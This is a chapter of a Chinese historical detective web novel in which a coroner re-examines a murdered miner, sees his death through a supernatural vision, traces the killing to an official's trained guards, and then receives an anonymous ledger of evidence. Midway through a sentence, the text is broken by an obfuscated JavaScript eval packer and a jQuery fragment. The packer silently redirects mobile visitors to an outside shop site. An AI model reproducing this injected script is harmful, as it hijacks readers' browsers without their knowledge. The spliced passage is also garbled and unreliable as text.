老许指尖捏着干净麻布,蘸了烈酒,轻轻擦去沈聿手臂伤口边缘凝结的血渍,烈酒触到皮肉时,沈聿肩头微不可察地一沉,却半点声音都没出。
林湄立在一旁,目光落在那道斜划开官袍的伤口上,她扫一眼便知深浅,这一刀虽未伤筋动骨,但刀口长,刺客出手狠辣,若是再偏半寸,便会割破血管,她上前一步,伸手接过老许手里捣烂的草药,低声道:“交给我来吧。”
老许愣了愣,随即了然,将草药与绷带一并递过去,识趣地往后退了两步:“也好,我去收拾下东西,你们慢慢说。”说完便转身走进屋内,廊下只剩下他们二人,唯有一盏油灯噼啪轻响。
林湄半蹲下身,将药泥均匀薄敷在沈聿的创口上,指尖偶尔会轻轻擦过他的皮肤,沈聿安静坐着,目光落在她垂着的发顶。
“忍着些,”林湄轻声开口,取过绷带,一圈圈仔细缠上他的小臂,力道松紧适宜,“这几日伤口不能碰水,不可提重物,免得伤口崩开。”
“多谢。”沈聿应了一声,目光落在她专注的侧脸上。
林湄打好绳结,直起身,收回手,淡淡回道:“那些刺客目标很明确,是冲着大人来的,想来是大人遇到了什么麻烦。”
沈聿微微活动了一下包扎妥当的手臂,眼底掠过一丝沉色。
“我此番去找王御史,是为了案子。”沈聿低声道。
“可是前几天大人急匆匆敢去城外的案子?”林湄轻声说道。
沈聿点了点头,将案子的大致经过告诉了林湄,他并非不知道案子的秘密性,只是如今案子陷入焦灼,林湄在苏婉案中的表现倒想让沈聿听听她的意见。
沈聿继续道,“之前寻到一位市井能人,破译了矿洞划痕的密语,线索内容指向性和王御史有些联系,所以我才上门想套套话。周满死了,中介绍周满拉矿的中间人也死了,这案子目前只剩石刻这一条线了。”
林湄垂首静静听着,袖中的手指悄然攥紧。苏伯父告诉他传闻是王御史夫人递上的告密密信,才引得龙颜震怒。她去找王夫人询问林家之事她也闭口不谈,如今沈聿在查周满之死,桩桩线索全都缠上王家,这正是她求之不得继续查下去的契机。
待沈聿话音落下,她才抬眼:“大人,周满的尸身如若还未下葬,如果大人允许,我可以前去重新勘验,看看能否找到其他线索。”
她心底暗自思量,若是亲手触碰到周满的遗物,那记忆碎片的力量便能起效,说不定能从窥见他遇害那一刻的景象里找到线索。
沈聿看向她,灯下女子眉眼沉静,身上不见怯意,反倒有着旁人难及的细致。
“尸身还保留着。”沈聿眼底一动,“之前勘验只是粗略查看,没深挖骨头上的隐痕。只是此事凶险,幕后之人已经动了杀心,你若重新介入查验,便是把自己放在危险之中。”
“勘验本就是我的差事。”林湄微微欠身,语气平稳,“能帮大人辨明尸骨线索,是分内之事。”
沈聿颔首:“好,周满尸身早已运回城南官棚妥善收殓,我们即刻过去复验。”
车马行至城南停尸棚,棚屋阴凉通风,避开日晒,专为存尸所用。周满死去不过数日,尸身虽已出现轻度尸僵与浅表尸腐,但整体完好无损,足以细查隐伤。
此刻棚内寂静,唯有油灯晃动。
林湄依礼躬身,待沈聿站定,才上前净手,举止沉稳规整,完全是仵作本分模样。
林湄缓步走到尸台前,先是平视整体尸态,观察尸斑沉淀、皮肤腐变程度、四肢僵直状态。
“大人,”她低声禀报,“死者身死数日,尸斑聚集于腰背臀侧,按压缓慢褪色,符合停放棚中、平躺静置的状态,割颈死亡的结论我认为大错特错。”
沈聿眸色微沉:“细说。”
林湄俯身,轻轻抬起死者脖颈,指尖避开创口,只比对伤口走向与皮肉翻卷形态:
“颈间创口刀口利落、深浅均匀,看似致命,实则未伤及颈动脉与气管主脉,真正致命的大出血、气绝征象一概没有。且刀口皮肉向内收拢平整,这应该是死后补刀。”
沈聿上前一步,目光锐利:“死后补刀?”
“是,”林湄点头,继续细致勘验,抬手拨开死者后枕杂乱发丝。
后脑一块头皮塌陷、骨面挫痕明显,淤血暗沉凝积,藏得极深,初检之人应该是漏查了。
“真正致命伤在此,后脑钝器撞击,颅内受损、内出血衰竭而亡。”
尸台一侧的木案上,整整齐齐摆着当日从周满身上搜出的所有物件——半块磨损的矿场令牌、几枚旧铜钱、一枚贴身佩戴、被汗水磨得温润的小平安玉坠。
这些都是沈聿当日亲自勘验现场、逐一搜查整理好的,一件不落,件件分明。
沈聿抬手,示意木案:“当日所有随身遗物尽数在此,你一并细看,复验周全。”
“是,大人。”
林湄拿起台子上放着的几个铜板,指尖接触铜板的瞬间,大脑刺痛,眼前出现了画面——荒坡堆满石堆,周满满脸着急的从矿洞那边跑过来,像是收到了惊吓,但转眼间林湄的视角就随着周满突然落在了地上,头偏在一侧,看着自己的血一点一点流了出来,林湄在画面最后只看到一双黑色的绣着虎样的靴子。
从碎片中猛的脱离出来,林湄没站稳突然倒在了地上,头上流着稀碎的汗珠,沈聿旁边的侍卫上前扶起了林湄,沈聿看着林湄有点苍白的脸:“怎么了?可是身体不舒服。”
林家站定后像旁边的侍卫道谢,随后对着沈聿说:“谢大人关心,我从小便患有头疼症,休息一下就好了。”
沈聿望着她发白的面色,心中存疑,却也没有步步紧逼,只道:“若是难受,便到一旁稍作歇息,不必强撑。”
“不妨事。”林湄深吸一口气压下眩晕,不再伸手触碰案上的遗物,转身走到尸台与停尸棚内的草图之前,这张草图是当日衙役赴荒坡现场之后,描摹下来的现场地貌、脚印分布。
她指尖落在草图上,仔细端详画中的场景。
“大人,”林湄声音平稳,“根据这份现场图,周满倒下的位置周围,一共留下两组脚印。一组是死者本人慌乱奔跑留下,步伐散乱;另一组脚印数量不多,但步幅长短几乎分毫不差,落脚轻重均匀。”
沈聿俯身看向草图
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946055|214067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“步幅统一?”
“正是。”林湄点头,“寻常百姓、盗匪行路,脚步有大有小,唯有常年受过操练、统一训练的府中护卫,行走姿态经过约束,才会留下这般规整的足印,然而荒坡偏僻,不会凭空出现兵士,只有可能是有人提前埋伏在此等候周满。”
“再看尸身倒地方向,周满是向前直直仰倒,后脑正对袭击来的方向,也就是说,凶手是站在周满的正后方动手偷袭。”
“死者衣袋被翻动,钱袋却被丢弃在一旁草丛里面,值钱的东西也没有被拿走,应该是刻意做出劫财杀人的假象。若是山野劫匪,没必要多此一举伪装现场。这般缜密的布置,背后必然有人指使。”
沈聿眉头紧紧锁起,手指轻轻敲击草图边缘。
规整统一的足印、受过训练的行事手法、蓄意埋伏灭口,再加上之前破译出来矿洞密信指向王御史,他脑海立刻浮现出那日拜访王御史府,走廊下列队的一众贴身护卫。
那些护卫个个训练精良,行事严谨,正是这般做派。
“你的意思是,行凶之人,极有可能是高管的护卫。”沈聿沉声开口,这是他结合林湄给出的客观痕迹,自己推出来的结论。
“是,这是从现场痕迹之上,所能推出来的结果。”林湄恭谨应答。
“可即便知道是府中护卫动手,依旧难以牵连主子。”沈聿神色沉重,“护卫可以一口咬定是私人恩怨,把罪责全部揽到自己身上,没有王御史直接参与的实证,单凭一桩命案,撼动不了他。
案子查到这里,线索看似逼近真相,实则陷入僵局。
一时之间,棚内只剩油灯噼啪轻响,气氛低沉。
“今日勘验辛苦,你身子不适,先行回去歇息。”沈聿收回思绪,淡淡开口,“此案线索有限,容我再细细梳理。”
“是,大人。”
林湄躬身行礼,随着侍卫离开城南停尸棚,夜色沉沉压身,晚风微凉,吹去几分头脑眩晕,却吹不散心底积压的疑惑。
回到僻静的仵作行时,夜色已深。
其他人已然睡下,院内寂静无声。林湄刚推开后院门,目光骤然一顿。
院中青石台阶正中央,静静放着一只黑色油布包裹,方方正正,捆扎紧实。
四周无人,是有人深夜匿名投递,放下东西便立刻离开。
林湄心头一紧,缓步上前,谨慎环顾四周,确认无人窥视,才弯腰解开油布绳结。
油布层层铺开,内里竟是一叠泛黄厚实的纸册,纸页陈旧,边角磨损,密密麻麻写满矿洞收支、银两流水、人手调度记录。
最刺眼的,是每页纸尾落下的王御史私的印记。
是矿洞私通、贪墨敛财、暗中操控矿役人命的账簿!
林湄指尖微僵,心底翻起滔天波澜。
有人深夜匿名送来王御史私矿罪证账簿!
对方是谁?
是敌是友?
为何偏偏在他们复验完周满尸体、锁定王府护卫行凶、案件缺实证的当晚,精准送来最关键的罪证?
对方知晓他们查案进度,知晓案情卡点,甚至精准拿捏了所有人的软肋。